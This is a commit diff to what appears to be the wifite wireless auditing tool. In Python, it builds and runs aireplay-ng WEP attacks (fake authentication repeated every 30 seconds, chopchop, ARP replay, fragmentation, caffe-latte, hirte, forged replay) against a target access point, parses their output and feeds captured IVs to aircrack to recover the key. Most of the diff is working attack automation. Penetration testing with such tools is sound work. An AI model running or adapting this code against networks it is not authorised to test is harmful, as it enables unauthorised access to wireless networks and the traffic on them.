Gussying up WEP attacks.

For #27

* Shows status of chopchop and arpreplay attacks.
* Fakeauth runs continously in the background, reassociating every 30 sec
* Detects fakeauth success/failure, shows in attack status line.
This commit is contained in:
derv82
2017-05-17 04:41:38 -04:00
parent c3fa522189
commit 63e8c9c8cc
4 changed files with 247 additions and 124 deletions

View File

@@ -3,8 +3,10 @@
from Configuration import Configuration from Configuration import Configuration
from Process import Process from Process import Process
from Timer import Timer
import os, time import os, time, re
from threading import Thread
class WEPAttackType(object): class WEPAttackType(object):
''' Enumeration of different WEP attack types ''' ''' Enumeration of different WEP attack types '''
@@ -52,36 +54,31 @@ class WEPAttackType(object):
return self.name return self.name
class Aireplay(object): class Aireplay(Thread):
def __init__(self, target, attack_type, client_mac=None, replay_file=None, devnull=False): def __init__(self, target, attack_type, client_mac=None, replay_file=None):
''' '''
Starts aireplay process. Starts aireplay process.
Args: Args:
target - Instance of Target object, AP to attack. target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance. attack_type - str, e.g. "fakeauth", "arpreplay", etc.
client_mac - MAC address of an associated client. client_mac - MAC address of an associated client.
''' '''
cmd = Aireplay.get_aireplay_command(target, super(Aireplay, self).__init__() # Init the parent Thread
self.target = target
self.output_file = Configuration.temp("aireplay_%s.output" % attack_type)
self.attack_type = WEPAttackType(attack_type).value
self.error = None
self.status = None
self.cmd = Aireplay.get_aireplay_command(self.target,
attack_type, attack_type,
client_mac=client_mac, client_mac=client_mac,
replay_file=replay_file) replay_file=replay_file)
self.pid = Process(self.cmd,
# TODO: set 'stdout' when creating process to store output to file. stdout=open(self.output_file, 'a'),
# AttackWEP will read file to get status of attack. stderr=Process.devnull(),
# E.g., chopchop will regex "\(\s?(\d+)% done" to get percent complete. cwd=Configuration.temp())
''' self.start()
if not devnull and attack_type == WEPAttackType.chopchop:
sout = open(Configuration.temp('chopchop.out'), 'w')
# Output sample:
# Offset 70 (11% done) | xor = 7A | pt = 00 | 24 frames written in 409ms
else:
sout = Process.devnull()
serr = Process.devnull()
'''
self.pid = Process(cmd,
devnull=devnull,
cwd=Configuration.temp())
def is_running(self): def is_running(self):
return self.pid.poll() == None return self.pid.poll() == None
@@ -95,6 +92,85 @@ class Aireplay(object):
''' Returns stdout from aireplay process ''' ''' Returns stdout from aireplay process '''
return self.pid.stdout() return self.pid.stdout()
def run(self):
while self.pid.poll() is None:
time.sleep(0.1)
if not os.path.exists(self.output_file): continue
# Read output file
f = open(self.output_file, "r")
lines = f.read()
f.close()
# Clear output file
f = open(self.output_file, "w")
f.write("")
f.close()
for line in lines.split("\n"):
line = line.replace("\r", "").strip()
if line == "": continue
if "Notice: got a deauth/disassoc packet" in line:
self.error = "Not associated (needs fakeauth)"
if self.attack_type == WEPAttackType.fakeauth:
# Look for fakeauth status. Potential Output lines:
# (START): 00:54:58 Sending Authentication Request (Open System)
if "Sending Authentication Request " in line:
self.status = None # Reset
# (????): Please specify an ESSID (-e).
elif "Please specify an ESSID" in line:
self.status = None
# (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds)
elif "Got a deauthentication packet!" in line:
self.status = False
# (PASS): 20:17:25 Association successful :-) (AID: 1)
# (PASS): 20:18:55 Reassociation successful :-) (AID: 1)
elif "association successful :-)" in line.lower():
self.status = True
elif self.attack_type == WEPAttackType.chopchop:
# Look for chopchop status. Potential output lines:
# (START) Read 178 packets...
read_re = re.compile(r"Read (\d+) packets")
matches = read_re.match(line)
if matches:
self.status = "Waiting for packet (read %s)..." % matches.group(1)
# (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms
offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)")
matches = offset_re.match(line)
if matches:
self.status = "Generating Xor (%s)" % matches.group(1)
# (DONE) Saving keystream in replay_dec-0516-202246.xor
saving_re = re.compile(r"Saving keystream in (.*\.xor)")
matches = saving_re.match(line)
if matches:
self.status = matches.group(1)
pass
elif self.attack_type == WEPAttackType.fragment:
# TODO: Parse fragment output, update self.status
# 01:08:15 Waiting for a data packet...
# 01:08:17 Sending fragmented packet
# 01:08:37 Still nothing, trying another packet...
# XX:XX:XX Trying to get 1500 bytes of a keystream
# XX:XX:XX Got RELAYED packet!!
# XX:XX:XX Thats our ARP packet!
# XX:XX:XX Saving keystream in fragment-0124-161129.xor
# XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
pass
else: # Replay, forged replay, etc.
# Parse Packets Sent & PacketsPerSecond. Possible output lines:
# Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
# Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
read_re = re.compile(r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)")
matches = read_re.match(line)
if matches:
pps = matches.group(5)
if pps == "0":
self.status = "Waiting for packet..."
else:
self.status = "Replaying packet @ %s/sec" % pps
pass
def __del__(self):
self.stop()
@staticmethod @staticmethod
def get_aireplay_command(target, attack_type, def get_aireplay_command(target, attack_type,
client_mac=None, replay_file=None): client_mac=None, replay_file=None):
@@ -112,8 +188,8 @@ class Aireplay(object):
if Configuration.interface == None: if Configuration.interface == None:
raise Exception("Wireless interface must be defined (-i)") raise Exception("Wireless interface must be defined (-i)")
cmd = ['aireplay-ng'] cmd = ["aireplay-ng"]
cmd.append('--ignore-negative-one') cmd.append("--ignore-negative-one")
if not client_mac and len(target.clients) > 0: if not client_mac and len(target.clients) > 0:
# Client MAC wasn't specified, but there's an associated client. Use that. # Client MAC wasn't specified, but there's an associated client. Use that.
@@ -124,72 +200,86 @@ class Aireplay(object):
attack_type = WEPAttackType(attack_type).value attack_type = WEPAttackType(attack_type).value
if attack_type == WEPAttackType.fakeauth: if attack_type == WEPAttackType.fakeauth:
cmd.extend(['-1', '0']) # Fake auth, no delay cmd.extend([
cmd.extend(['-a', target.bssid]) "--fakeauth", "30", # Fake auth every 30 seconds
cmd.extend(['-T', '3']) # Make 3 attempts "-Q", # Send re-association packets
"-a", target.bssid
])
if target.essid_known: if target.essid_known:
cmd.extend(['-e', target.essid]) cmd.extend(["-e", target.essid])
# Do not specify client MAC address,
# we're trying to fake-authenticate using *our* MAC
elif attack_type == WEPAttackType.replay: elif attack_type == WEPAttackType.replay:
cmd.append('--arpreplay') cmd.extend([
cmd.extend(['-b', target.bssid]) "--arpreplay",
cmd.extend(['-x', str(Configuration.wep_pps)]) "-b", target.bssid,
"-x", str(Configuration.wep_pps)
])
if client_mac: if client_mac:
cmd.extend(['-h', client_mac]) cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.chopchop: elif attack_type == WEPAttackType.chopchop:
cmd.append('--chopchop') cmd.extend([
cmd.extend(['-b', target.bssid]) "--chopchop",
cmd.extend(['-x', str(Configuration.wep_pps)]) "-b", target.bssid,
cmd.extend(['-m', '60']) # Minimum packet length (bytes) "-x", str(Configuration.wep_pps),
cmd.extend(['-n', '82']) # Maximum packet length #"-m", "60", # Minimum packet length (bytes)
cmd.extend(['-F']) # Automatically choose first packet #"-n", "82", # Maximum packet length
"-F" # Automatically choose first packet
])
if client_mac: if client_mac:
cmd.extend(['-h', client_mac]) cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.fragment: elif attack_type == WEPAttackType.fragment:
cmd.append('--fragment') cmd.extend([
cmd.extend(['-b', target.bssid]) "--fragment",
cmd.extend(['-x', str(Configuration.wep_pps)]) "-b", target.bssid,
cmd.extend(['-m', '100']) # Minimum packet length (bytes) "-x", str(Configuration.wep_pps),
cmd.extend(['-F']) # Automatically choose first packet "-m", "100", # Minimum packet length (bytes)
"-F" # Automatically choose first packet
])
if client_mac: if client_mac:
cmd.extend(['-h', client_mac]) cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.caffelatte: elif attack_type == WEPAttackType.caffelatte:
cmd.append('--caffe-latte') if len(target.clients) == 0:
cmd.extend(['-b', target.bssid]) # Unable to carry out caffe-latte attack
if client_mac: raise Exception("Client is required for caffe-latte attack")
cmd.extend(['-h', client_mac]) cmd.extend([
"--caffe-latte",
"-b", target.bssid,
"-h", target.clients[0].station
])
elif attack_type == WEPAttackType.p0841: elif attack_type == WEPAttackType.p0841:
cmd.append('--arpreplay') cmd.extend([
cmd.extend(['-b', target.bssid]) "--arpreplay",
cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff']) "-b", target.bssid,
cmd.extend(['-x', str(Configuration.wep_pps)]) "-c", "ff:ff:ff:ff:ff:ff",
cmd.extend(['-F']) # Automatically choose first packet "-x", str(Configuration.wep_pps),
cmd.extend(['-p', '0841']) "-F", # Automatically choose first packet
"-p", "0841"
])
if client_mac: if client_mac:
cmd.extend(['-h', client_mac]) cmd.extend(["-h", client_mac])
elif attack_type == WEPAttackType.hirte: elif attack_type == WEPAttackType.hirte:
if client_mac == None: if client_mac == None:
# Unable to carry out hirte attack # Unable to carry out hirte attack
raise Exception("Client is required for hirte attack") raise Exception("Client is required for hirte attack")
cmd.append('--cfrag') cmd.extend([
cmd.extend(['-h', client_mac]) "--cfrag",
"-h", client_mac
])
elif attack_type == WEPAttackType.forgedreplay: elif attack_type == WEPAttackType.forgedreplay:
if client_mac == None or replay_file == None: if client_mac == None or replay_file == None:
raise Exception( raise Exception("Client_mac and Replay_File are required for arp replay")
"Client_mac and Replay_File are required for arp replay") cmd.extend([
cmd.append('--arpreplay') "--arpreplay",
cmd.extend(['-b', target.bssid]) "-b", target.bssid,
cmd.extend(['-h', client_mac]) "-h", client_mac,
cmd.extend(['-r', replay_file]) "-r", replay_file,
cmd.extend(['-F']) # Automatically choose first packet "-F", # Automatically choose first packet
cmd.extend(['-x', str(Configuration.wep_pps)]) "-x", str(Configuration.wep_pps)
])
else: else:
raise Exception("Unexpected attack type: %s" % attack_type) raise Exception("Unexpected attack type: %s" % attack_type)
@@ -250,6 +340,40 @@ class Aireplay(object):
proc.interrupt() proc.interrupt()
time.sleep(0.2) time.sleep(0.2)
@staticmethod
def fakeauth(target, timeout=5, num_attempts=3):
'''
Tries a one-time fake-authenticate with a target AP.
Params:
target (py.Target): Instance of py.Target
timeout (int): Time to wait for fakeuth to succeed.
num_attempts (int): Number of fakeauth attempts to make.
Returns:
(bool): True if fakeauth succeeds, otherwise False
'''
cmd = [
'aireplay-ng',
'-1', '0', # Fake auth, no delay
'-a', target.bssid,
'-T', str(num_attempts)
]
if target.essid_known:
cmd.extend(['-e', target.essid])
cmd.append(Configuration.interface)
fakeauth_proc = Process(cmd,
devnull=False,
cwd=Configuration.temp())
timer = Timer(timeout)
while fakeauth_proc.poll() is None and not timer.ended():
time.sleep(0.1)
if fakeauth_proc.poll() is None or timer.ended():
fakeauth_proc.interrupt()
return False
output = fakeauth_proc.stdout()
return 'association successful' in output.lower()
if __name__ == '__main__': if __name__ == '__main__':
t = WEPAttackType(4) t = WEPAttackType(4)
print t.name, type(t.name), t.value print t.name, type(t.name), t.value
@@ -263,9 +387,6 @@ if __name__ == '__main__':
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',') fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
t = Target(fields) t = Target(fields)
cmd = Aireplay.get_aireplay_command(t, 'fakeauth')
print ' '.join(['"%s"' % a for a in cmd])
''' '''
aireplay = Aireplay(t, 'replay') aireplay = Aireplay(t, 'replay')
while aireplay.is_running(): while aireplay.is_running():

View File

@@ -32,6 +32,8 @@ class AttackWEP(Attack):
''' '''
aircrack = None # Aircrack process, not started yet aircrack = None # Aircrack process, not started yet
fakeauth_proc = None
replay_file = None
attacks_remaining = list(Configuration.wep_attacks) attacks_remaining = list(Configuration.wep_attacks)
while len(attacks_remaining) > 0: while len(attacks_remaining) > 0:
@@ -49,29 +51,31 @@ class AttackWEP(Attack):
Color.p('\r{+} {O}waiting{W} for target to appear...') Color.p('\r{+} {O}waiting{W} for target to appear...')
airodump_target = self.wait_for_target(airodump) airodump_target = self.wait_for_target(airodump)
fakeauth_proc = None
if self.fake_auth(): if self.fake_auth():
# We successfully authenticated! # We successfully authenticated!
# Use our interface's MAC address for the attacks. # Use our interface's MAC address for the attacks.
client_mac = Interface.get_mac() client_mac = Interface.get_mac()
# Keep us authenticated
#fakeauth_proc = Aireplay(self.target, "fakeauth")
elif len(airodump_target.clients) == 0: elif len(airodump_target.clients) == 0:
# There are no associated clients. Warn user. # Failed to fakeauth, can't use our MAC.
# And there are no associated clients. Use one and tell the user.
Color.pl('{!} {O}there are no associated clients{W}') Color.pl('{!} {O}there are no associated clients{W}')
Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' + Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
' without fake-authentication or associated clients{W}') ' without fake-authentication or associated clients{W}')
client_mac = None client_mac = None
else: else:
# Fakeauth failed, but we can re-use an existing client
client_mac = airodump_target.clients[0].station client_mac = airodump_target.clients[0].station
# Convert to WEPAttackType. # Convert to WEPAttackType.
wep_attack_type = WEPAttackType(attack_name) wep_attack_type = WEPAttackType(attack_name)
replay_file = None
# Start Aireplay process. # Start Aireplay process.
aireplay = Aireplay(self.target, \ aireplay = Aireplay(self.target,
wep_attack_type, \ wep_attack_type,
client_mac=client_mac, \ client_mac=client_mac)
devnull=True,
replay_file=replay_file)
time_unchanged_ivs = time.time() # Timestamp when IVs last changed time_unchanged_ivs = time.time() # Timestamp when IVs last changed
previous_ivs = 0 previous_ivs = 0
@@ -80,8 +84,22 @@ class AttackWEP(Attack):
while True: while True:
airodump_target = self.wait_for_target(airodump) airodump_target = self.wait_for_target(airodump)
Color.pattack("WEP", airodump_target, "%s attack" % attack_name, "%d IVs" % airodump_target.ivs) status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs)
#Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) ' % (attack_name, airodump_target.ivs)) '''
if fakeauth_proc and fakeauth_proc.status:
status += ", {G}fakeauth{W}"
else:
status += ", {R}no-auth{W}"
'''
if aireplay.status is not None:
status += ", %s" % aireplay.status
Color.clear_entire_line()
Color.pattack("WEP",
airodump_target,
"%s attack" % attack_name,
status)
#self.aircrack_check()
# Check if we cracked it. # Check if we cracked it.
if aircrack and aircrack.is_cracked(): if aircrack and aircrack.is_cracked():
@@ -93,19 +111,17 @@ class AttackWEP(Attack):
essid = None essid = None
Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n'
% attack_name) % attack_name)
if aireplay: if aireplay: aireplay.stop()
aireplay.stop() if fakeauth_proc: fakeauth_proc.stop()
self.crack_result = CrackResultWEP(bssid, \ self.crack_result = CrackResultWEP(self.target.bssid,
essid, \ self.target.essid, hex_key, ascii_key)
hex_key, \
ascii_key)
self.crack_result.dump() self.crack_result.dump()
self.success = True self.success = True
return self.success return self.success
if aircrack and aircrack.is_running(): if aircrack and aircrack.is_running():
# Aircrack is running in the background. # Aircrack is running in the background.
Color.p('and {C}cracking{W}') Color.p("and {C}cracking{W}")
# Check number of IVs, crack if necessary # Check number of IVs, crack if necessary
if airodump_target.ivs > Configuration.wep_crack_at_ivs: if airodump_target.ivs > Configuration.wep_crack_at_ivs:
@@ -118,27 +134,25 @@ class AttackWEP(Attack):
# Aircrack stopped running. # Aircrack stopped running.
Color.pl('\n{!} {O}aircrack stopped running!{W}') Color.pl('\n{!} {O}aircrack stopped running!{W}')
ivs_file = airodump.find_files(endswith='.ivs')[0] ivs_file = airodump.find_files(endswith='.ivs')[0]
Color.pl('{+} {C}aircrack{W} stopped,' + Color.pl('{+} {C}aircrack{W} stopped, restarting...')
' restarting {C}aircrack{W}') self.fake_auth()
aircrack = Aircrack(ivs_file) aircrack = Aircrack(ivs_file)
elif aircrack.is_running() and \ elif Configuration.wep_restart_aircrack > 0 and \
Configuration.wep_restart_aircrack > 0: aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
# Restart aircrack after X seconds # Restart aircrack after X seconds
if aircrack.pid.running_time() > Configuration.wep_restart_aircrack: aircrack.stop()
aircrack.stop() ivs_file = airodump.find_files(endswith='.ivs')[0]
ivs_file = airodump.find_files(endswith='.ivs')[0] Color.pl('\n{+} {C}aircrack{W} ran for more than' +
Color.pl('\n{+} {C}aircrack{W} ran for more than' + ' {C}%d{W} seconds, restarting'
' {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack)
% Configuration.wep_restart_aircrack) aircrack = Aircrack(ivs_file)
aircrack = Aircrack(ivs_file)
if not aireplay.is_running(): if not aireplay.is_running():
# Some Aireplay attacks loop infinitely # Some Aireplay attacks loop infinitely
if attack_name == 'chopchop' or attack_name == 'fragment': if attack_name == 'chopchop' or attack_name == 'fragment':
# We expect these to stop once a .xor is created, # We expect these to stop once a .xor is created, or if the process failed.
# or if the process failed.
replay_file = None replay_file = None
@@ -167,7 +181,6 @@ class AttackWEP(Attack):
aireplay = Aireplay(self.target, aireplay = Aireplay(self.target,
'forgedreplay', 'forgedreplay',
client_mac=client_mac, client_mac=client_mac,
devnull=True,
replay_file=replay_file) replay_file=replay_file)
continue continue
else: else:
@@ -195,7 +208,6 @@ class AttackWEP(Attack):
aireplay = Aireplay(self.target, \ aireplay = Aireplay(self.target, \
wep_attack_type, \ wep_attack_type, \
client_mac=client_mac, \ client_mac=client_mac, \
devnull=True,
replay_file=replay_file) replay_file=replay_file)
time_unchanged_ivs = time.time() time_unchanged_ivs = time.time()
previous_ivs = airodump_target.ivs previous_ivs = airodump_target.ivs
@@ -205,6 +217,7 @@ class AttackWEP(Attack):
# End of big while loop # End of big while loop
# End of with-airodump # End of with-airodump
except KeyboardInterrupt: except KeyboardInterrupt:
if fakeauth_proc: fakeauth_proc.stop()
if len(attacks_remaining) == 0: if len(attacks_remaining) == 0:
self.success = False self.success = False
return self.success return self.success
@@ -275,25 +288,8 @@ class AttackWEP(Attack):
Returns: True if successful, Returns: True if successful,
False is unsuccesful. False is unsuccesful.
''' '''
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
% self.target.bssid) fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
start_time = time.time()
aireplay = Aireplay(self.target, 'fakeauth')
process_failed = False
while aireplay.is_running():
if int(time.time() - start_time) > AttackWEP.fakeauth_wait:
aireplay.stop()
process_failed = True
break
time.sleep(0.1)
# Check if fake-auth was successful
if process_failed:
fakeauth = False
else:
output = aireplay.get_output()
fakeauth = 'association successful' in output.lower()
if fakeauth: if fakeauth:
Color.pl(' {G}success{W}') Color.pl(' {G}success{W}')
else: else:

View File

@@ -102,6 +102,12 @@ class Process(object):
Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(self.err.split('\n'))) Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(self.err.split('\n')))
return self.err return self.err
def stdoutln(self):
return self.pid.stdout.readline()
def stderrln(self):
return self.pid.stderr.readline()
def get_output(self): def get_output(self):
''' Waits for process to finish, sets stdout & stderr ''' ''' Waits for process to finish, sets stdout & stderr '''
if self.pid.poll() == None: if self.pid.poll() == None:

View File

@@ -53,7 +53,7 @@ class Target(object):
self.essid = fields[13].strip() self.essid = fields[13].strip()
if self.essid == '\\x00' * self.essid_len or self.essid.strip() == '': if self.essid == '\\x00' * self.essid_len or self.essid.strip() == '':
# Don't display "\x00..." for hidden ESSIDs # Don't display "\x00..." for hidden ESSIDs
self.essid = '(%s)' % self.bssid self.essid = None # '(%s)' % self.bssid
self.essid_known = False self.essid_known = False
self.wps = None self.wps = None
@@ -68,7 +68,7 @@ class Target(object):
''' '''
max_essid_len = 25 max_essid_len = 25
essid = self.essid essid = self.essid if self.essid_known else "(%s)" % self.bssid
# Trim ESSID (router name) if needed # Trim ESSID (router name) if needed
if len(essid) > max_essid_len: if len(essid) > max_essid_len:
essid = essid[0:max_essid_len-3] + '...' essid = essid[0:max_essid_len-3] + '...'